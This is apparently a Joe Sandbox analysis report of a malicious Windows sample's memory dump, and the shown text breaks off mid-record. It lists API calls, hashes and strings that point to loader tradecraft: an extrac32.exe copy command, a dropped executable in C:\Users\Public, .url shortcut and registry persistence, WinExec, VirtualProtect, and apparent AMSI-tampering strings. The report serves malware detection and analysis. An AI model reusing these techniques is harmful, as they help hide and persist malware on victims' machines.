Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: a3a7c26db474407c2432927e7ca26893eee0d77a9745200263d545226b571f71
Instruction ID: 4e451fcdbe1b64f2e83df2c2abc6cb6162dd84b3ef3f682ae564887d2351c414
Opcode Fuzzy Hash: a3a7c26db474407c2432927e7ca26893eee0d77a9745200263d545226b571f71
Instruction Fuzzy Hash: 4A21C071A50209BAEB20EBE4CD42FDEB7BDAF48B10F504562B600F75C0DBB46E048A65

Function 0299C7B4 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02984ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C886), ref: 0299C7F3
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C82D
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C85A
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C863

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: d37298ed3c0e0ff3ec3fee079379856f0d9957ad35905a02f13365fcaff75671
Instruction ID: 71e9e23a04835d769e894a806c74218717cb5a83173c5ba0615631c5065b7544
Opcode Fuzzy Hash: d37298ed3c0e0ff3ec3fee079379856f0d9957ad35905a02f13365fcaff75671
Instruction Fuzzy Hash: FD21CF71A50309BAEF20EBE4CD42FDEB7BDAF48B10F504562B600F75C0DBB46A048A65

Function 0299C6AC Relevance: 4.6, APIs: 3, Instructions: 74filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.N(?,?,00000000,0299C79E), ref: 0299C74C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0299C79E), ref: 0299C762
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0299C79E), ref: 0299C781

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 0eafbde3354e5901ffbc88841d469de5762aba8bc9cbb937452180bce8180488
Instruction ID: cdf1b4e743ff8c27c2370b0e08874c739e4837fa023ad25785e3b0aa76f67c45
Opcode Fuzzy Hash: 0eafbde3354e5901ffbc88841d469de5762aba8bc9cbb937452180bce8180488
Instruction Fuzzy Hash: 392108715043897FDB02E7B48D52FCA7BBDAF4A314F1541E3D100E7092E7259A08DB64

Function 0299C724 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02984ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02984EDA

RtlInitUnicodeString.N(?,?,00000000,0299C79E), ref: 0299C74C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0299C79E), ref: 0299C762
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0299C79E), ref: 0299C781

Part of subcall function 02984C0C: SysFreeString.OLEAUT32(0299D680), ref: 02984C1A

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 3e8c7effac4365625eed523c8ecbd48fa550ee0f71bc16f548c736b16cf9a7d0
Instruction ID: ab3c6765074284f8db15dff43c78ab5edebf0d196b887aa8f9cc17fac3369bd6
Opcode Fuzzy Hash: 3e8c7effac4365625eed523c8ecbd48fa550ee0f71bc16f548c736b16cf9a7d0
Instruction Fuzzy Hash: 8501EC71A40209BAEB11EAE4CD42FDEB7BDEB88710F505462A604E2580EB75AB049A64

Function 02996D58 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02996CFC: CLSIDFromProgID.OLE32(00000000,?,00000000,02996D49,?,?,?,00000000), ref: 02996D29

CoCreateInstance.OLE32(?,00000000,00000005,02996E3C,00000000,00000000,02996DBB,?,00000000,02996E2B), ref: 02996DA7

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: dd1ed7af437c4097e4dc395b025f299e4c6234e4f9bd649dfa0e257b9b5282a7
Instruction ID: c8322c952b31b16316e2e6e381f8e918b34fb964fd154ebf515b6884f7730129
Opcode Fuzzy Hash: dd1ed7af437c4097e4dc395b025f299e4c6234e4f9bd649dfa0e257b9b5282a7
Instruction Fuzzy Hash: 1D01A771608704AEEB15EFA8DC52D6B7BADEBC9B20B520835F901D2690E6319910D974

Function 0299A174 Relevance: 1.5, APIs: 1, Instructions: 17processCOMMON

Download Yara Rule

APIs

Part of subcall function 02999EF8: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0299A17F,?,?,0299A211,00000000,0299A2ED), ref: 02999F0C
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02999F24
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02999F36
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02999F48
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02999F5A
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02999F6C
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02999F7E
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32First), ref: 02999F90
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02999FA2
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02999FB4
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02999FC6
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02999FD8
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02999FEA
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32First), ref: 02999FFC
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0299A00E
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0299A020
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0299A032

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0299A185

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressProc$CreateHandleModuleSnapshotToolhelp32
String ID:
API String ID: 2242398760-0
Opcode ID: 98e883a53df079a80d29c80db714be19e562ca05cad128db8ae235b0ddcebca9
Instruction ID: 69841fc8b8da92d3f8f7ba29d0616cfa29ef8cd60116777100ac9c108218f549
Opcode Fuzzy Hash: 98e883a53df079a80d29c80db714be19e562ca05cad128db8ae235b0ddcebca9
Instruction Fuzzy Hash: 95C08073A02524176E1066FC2FC44D3874DCD491B730408A3B509D3101D7158C115590

Function 029A23B3 Relevance: 33.8, APIs: 2, Strings: 16, Instructions: 2315
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997E14: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
Part of subcall function 02997E14: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
Part of subcall function 02997E14: GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73
Part of subcall function 02997E14: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
Part of subcall function 02997E14: FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

Part of subcall function 02987E20: GetFileAttributesA.KERNEL32(00000000,?,0299E793,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,ScanString,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,UacInitialize), ref: 02987E2B

Part of subcall function 0299C7B4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C886), ref: 0299C7F3
Part of subcall function 0299C7B4: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C82D
Part of subcall function 0299C7B4: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C85A
Part of subcall function 0299C7B4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C863

Sleep.KERNEL32(00001388,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,UacScan,029D7358,029A8D7C), ref: 029A30F8

Part of subcall function 0299C724: RtlInitUnicodeString.N(?,?,00000000,0299C79E), ref: 0299C74C
Part of subcall function 0299C724: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0299C79E), ref: 0299C762
Part of subcall function 0299C724: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0299C79E), ref: 0299C781

WinExec.KERNEL32(00000000,029A91C4), ref: 029A41BC

Strings

UacScan, xrefs: 029A23BF, 029A2533, 029A26A7, 029A2723, 029A2B2A, 029A2CC3, 029A2E7D, 029A2F75, 029A3083, 029A386F, 029A3DDF, 029A4020, 029A42C5, 029A43D2, 029A4630, 029A4728
.url, xrefs: 029A3A73
OpenSession, xrefs: 029A25AF, 029A2876, 029A2A20, 029A2C22, 029A2E01, 029A3109, 029A3314, 029A34AE, 029A364E, 029A37F3, 029A3967, 029A3BB7, 029A3C6B, 029A3F28, 029A409C, 029A44CA, 029A47A4, 029A4918, 029A4AAC, 029A4C5C
C:\\Users\\Public\\Libraries\\, xrefs: 029A3E4F
UacInitialize, xrefs: 029A29A4, 029A321C, 029A35D2, 029A3ABF
ScanBuffer, xrefs: 029A262B, 029A279F, 029A28F2, 029A2A9C, 029A2BA6, 029A2D3F, 029A2EF9, 029A3007, 029A3185, 029A3390, 029A36CA, 029A39E3, 029A3D63, 029A4118, 029A4341, 029A4546, 029A46AC, 029A4820, 029A489C
HotKey=, xrefs: 029A4BBA
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 029A418A
[InternetShortcut], xrefs: 029A4A23
Initialize, xrefs: 029A3556, 029A38EB, 029A3CE7, 029A3EAC, 029A3FA4, 029A4249, 029A444E
C:\Users\Public\xkn.exe, xrefs: 029A31FB
URL=file:", xrefs: 029A4A32
C:\Users\Public\, xrefs: 029A3A68, 029A4CCC
MZP, xrefs: 029A2C98
IconIndex=, xrefs: 029A4A86
ScanString, xrefs: 029A243B, 029A24B7, 029A3298, 029A3432, 029A3777, 029A3B3B, 029A41CD, 029A49B3, 029A4B28, 029A4BE0

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FilePath$LibraryNameName_$AddressAttributesCacheCloseCreateDeleteExecFlushFreeHandleInitInstructionLoadModuleProcSleepStringUnicodeWrite
String ID: .url$C:\Users\Public\$C:\Users\Public\xkn.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $HotKey=$IconIndex=$Initialize$MZP$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$[InternetShortcut]
API String ID: 2549772469-2280755070
Opcode ID: b9071439501b138a0ae4ff114c7108c9229e629a14fdef572aafa71ef60716d6
Instruction ID: 85a5606f3d206fbbb7175b1e73e9c1d3655bc23cc72181e163a66bdb50971a67
Opcode Fuzzy Hash: b9071439501b138a0ae4ff114c7108c9229e629a14fdef572aafa71ef60716d6
Instruction Fuzzy Hash: BB23F935B5021A8FEB20FBA4CC90ED9B3B6BFD9310F1455E69009EB250DB31AE819F55

Function 029A4D4D Relevance: 18.4, APIs: 2, Strings: 8, Instructions: 946
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997E14: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
Part of subcall function 02997E14: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
Part of subcall function 02997E14: GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73
Part of subcall function 02997E14: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
Part of subcall function 02997E14: FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

Part of subcall function 0299D3F0: RegOpenKeyA.ADVAPI32(?,00000000,029D7648), ref: 0299D434
Part of subcall function 0299D3F0: RegSetValueExA.ADVAPI32(0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D49F), ref: 0299D46C
Part of subcall function 0299D3F0: RegCloseKey.ADVAPI32(0000089C,0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D49F), ref: 0299D477

WinExec.KERNEL32(00000000,00000000), ref: 029A565A

Part of subcall function 0299A1D4: CompareStringA.KERNEL32(00000400,00000001,00000000,?,00000000), ref: 0299A297

RtlMoveMemory.N(00000000,00000004,00000000,?,ScanBuffer,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C), ref: 029A5BDC

Strings

UacScan, xrefs: 029A4ECD, 029A50D9, 029A5155, 029A52C9, 029A566B, 029A5882, 029A5A15, 029A5C69
C:\Windows\System32\, xrefs: 029A5644
Initialize, xrefs: 029A4DD5, 029A53C1
OpenSession, xrefs: 029A4E51, 029A505D, 029A51D1, 029A5345, 029A554A, 029A5763, 029A5806, 029A5999, 029A5D61
UacInitialize, xrefs: 029A55C6
ScanBuffer, xrefs: 029A4F49, 029A543D, 029A54CE, 029A58FE, 029A5A91, 029A5BED, 029A5CE5
C:\Users\Public\, xrefs: 029A4FB9
ScanString, xrefs: 029A4D59, 029A524D, 029A56E7, 029A5B4E

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Library$AddressCacheCloseCompareExecFlushFreeHandleInstructionLoadMemoryModuleMoveOpenProcStringValue
String ID: C:\Users\Public\$C:\Windows\System32\$Initialize$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan
API String ID: 17596641-872072817
Opcode ID: 56b5f27f1e17a53565e0c5800abb19fae545d03df768ed965c6fe6f8723af003
Instruction ID: 8b15d43df0d7c84052d3c0f929c4da8579568d5dfe8c98756b9663b363be7092
Opcode Fuzzy Hash: 56b5f27f1e17a53565e0c5800abb19fae545d03df768ed965c6fe6f8723af003
Instruction Fuzzy Hash: A2921934A5025A8FDB20FBA4CD90EED73B6BFD9310F1454E5E008EB654DA71AE819F44

Function 02981724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02982000), ref: 029817D0
Sleep.KERNEL32(0000000A,00000000,?,02982000), ref: 029817E6

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9c18db5680da34345526d60cdf132b845007d455a62476b3cd15e620acc78148
Instruction ID: 4f2be6a619373ae81a54464a93f294bfc0e577168ff41987f09a5503ad2e5ae9
Opcode Fuzzy Hash: 9c18db5680da34345526d60cdf132b845007d455a62476b3cd15e620acc78148
Instruction Fuzzy Hash: 9BB11072A063518FCB15DF68E8C0366BBE1EB86325F1D86AED44DCB385D7709492CB90

Function 02997D4C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,02997DD1,?,?,00000000,00000000), ref: 02997D8D
GetProcAddress.KERNEL32(00000000,kernel32), ref: 02997D93
VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,02997DD1,?,?,00000000,00000000), ref: 02997DAD

Strings

kernel32, xrefs: 02997D88
irtualProtect, xrefs: 02997D65

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: irtualProtect$kernel32
API String ID: 2099061454-2063912171
Opcode ID: e4d7c4530d7324b4042a30a619a60ffe5edeba095cdf982a0eb3cbde572ed4dc
Instruction ID: 7821ed930f6293ab9f2c57abd5346d9d48aa6cf67b259e0e4e94cf2c6d8c5b4e
Opcode Fuzzy Hash: e4d7c4530d7324b4042a30a619a60ffe5edeba095cdf982a0eb3cbde572ed4dc
Instruction Fuzzy Hash: 1F017CB5644208BFEB01EFECDC41EAEB7EDEF89720F514450B814D7680DA30AE008A24

Function 02981A8C Relevance: 7.7, APIs: 6, Instructions: 175sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?), ref: 02981B17
Sleep.KERNEL32(0000000A,00000000,?), ref: 02981B31

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6029829591449855e7d370d1902a5c108918de7f5f5aa2cf4cb1ae81fa766d95
Instruction ID: 34031eeece404a504b246ba1b4a3598e2f5126b3bf3598a5b1bc00c9188aefa8
Opcode Fuzzy Hash: 6029829591449855e7d370d1902a5c108918de7f5f5aa2cf4cb1ae81fa766d95
Instruction Fuzzy Hash: 0E51C2716052408FD715EF7CD984766BBE8AF86314F1C85AED44CCB286E770D886CBA1

Function 0299D026 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON

Download Yara Rule

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0299D166

Strings

ScanBuffer, xrefs: 0299D0AF
OpenSession, xrefs: 0299D108
Initialize, xrefs: 0299D056

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 614d18f67732b4861a1d60b13a15e6cbfc55e1e40ed90de8c554d592cf890545
Instruction ID: 9cd7704ace4ef35a780880d1a5a7d2b9242089232488f085bf2b3328cb6b4f8d
Opcode Fuzzy Hash: 614d18f67732b4861a1d60b13a15e6cbfc55e1e40ed90de8c554d592cf890545
Instruction Fuzzy Hash: 2641DC31B502099FEF14FBE8C981E9EB3FAAFC9720F655426E441E7250DA75AD018F60

Function 02995BBC Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02995D04,?,?,02993890,00000001), ref: 02995C18
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02995D04,?,?,02993890,00000001), ref: 02995C46

Part of subcall function 02987D20: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02993890,02995C86,00000000,02995D04,?,?,02993890), ref: 02987D6E

Part of subcall function 02987F28: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02993890,02995CA1,00000000,02995D04,?,?,02993890,00000001), ref: 02987F47

GetLastError.KERNEL32(00000000,02995D04,?,?,02993890,00000001), ref: 02995CAB

Part of subcall function 0298A708: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,0298C369,00000000,0298C3C3), ref: 0298A727

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: b59d34114c4a5885348a5562376ecd49d973512a49dece3785f4deacc62a5850
Instruction ID: cb74d9151821af1824da8e3622d112726d7b0fc73448503b8dfd676bbdbbcfa4
Opcode Fuzzy Hash: b59d34114c4a5885348a5562376ecd49d973512a49dece3785f4deacc62a5850
Instruction Fuzzy Hash: 6831A330A042059FDB01FFA8C8807AEB7F6AF89714F958465D504EB380E7755D04CFA5

Function 0299D3EE Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,029D7648), ref: 0299D434
RegSetValueExA.ADVAPI32(0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D49F), ref: 0299D46C
RegCloseKey.ADVAPI32(0000089C,0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D49F), ref: 0299D477

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: cb96826fc55f6da032dcc4dfd118426a2d47a025da623bf7b0e2f2ee7d491026
Instruction ID: 0eed5f346fd1cce9cf764e66903d331ea63ef153b3a51503cdd5d3fe7cae2dc4
Opcode Fuzzy Hash: cb96826fc55f6da032dcc4dfd118426a2d47a025da623bf7b0e2f2ee7d491026
Instruction Fuzzy Hash: 3B116D70604205AFEB10FBA8CC81DAE77EDEF89714F845021F504D7290E631ED409F51

Function 0299D3F0 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,029D7648), ref: 0299D434
RegSetValueExA.ADVAPI32(0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D49F), ref: 0299D46C
RegCloseKey.ADVAPI32(0000089C,0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,0299D49F), ref: 0299D477

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 8efa11a28cdd145c73fca9018a6003736c76a77056226b0f06eb446bfcb40ec6
Instruction ID: cc3d4871cf924d90c6b6c3499eee5ac9c181b189f9de8f3ff096d9eac7135ece
Opcode Fuzzy Hash: 8efa11a28cdd145c73fca9018a6003736c76a77056226b0f06eb446bfcb40ec6
Instruction Fuzzy Hash: B7116D70604205AFEB10FBA8CC81DAE77EDEF89714F845021F504D7290E631E9409F51

Function 0298E2F4 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0298E303

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 6cafc799dc27c6f0afa2dbe4f19224f7ed59cb77a1b683861de74786bf111e4f
Instruction ID: 8d9df720bb580aec71158b07fa84713fb95c9378fa3d7c0a80f885b3d5b3a1bf
Opcode Fuzzy Hash: 6cafc799dc27c6f0afa2dbe4f19224f7ed59cb77a1b683861de74786bf111e4f
Instruction Fuzzy Hash: B4F0C220708610E7CB287B388DE4A7D329A6F8071175C5837B4C79B165DB348C45DB72

Function 02984CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0299D680), ref: 02984C1A
SysAllocStringLen.OLEAUT32(?,?), ref: 02984D07
SysFreeString.OLEAUT32(00000000), ref: 02984D19

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction ID: f20bc6507b5635872a751084f5a64943df6217c52f0b5e6b865afa7ee0002ca3
Opcode Fuzzy Hash: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
Instruction Fuzzy Hash: 14E012B81052025EFB143F219C40B7B376EAFC1751F1C5899A904CA150E734C842AE35

Function 0299706C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 0299736A

Strings

H, xrefs: 02997121

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 4e0bdf45087dab059f2b43c07530d6ccf453655273aaf018fb19cf4029e4e1cc
Instruction ID: 3f5341a6ed36ff1074fbc38cb124456b43af6787cfeb9156da88df2317e6e47c
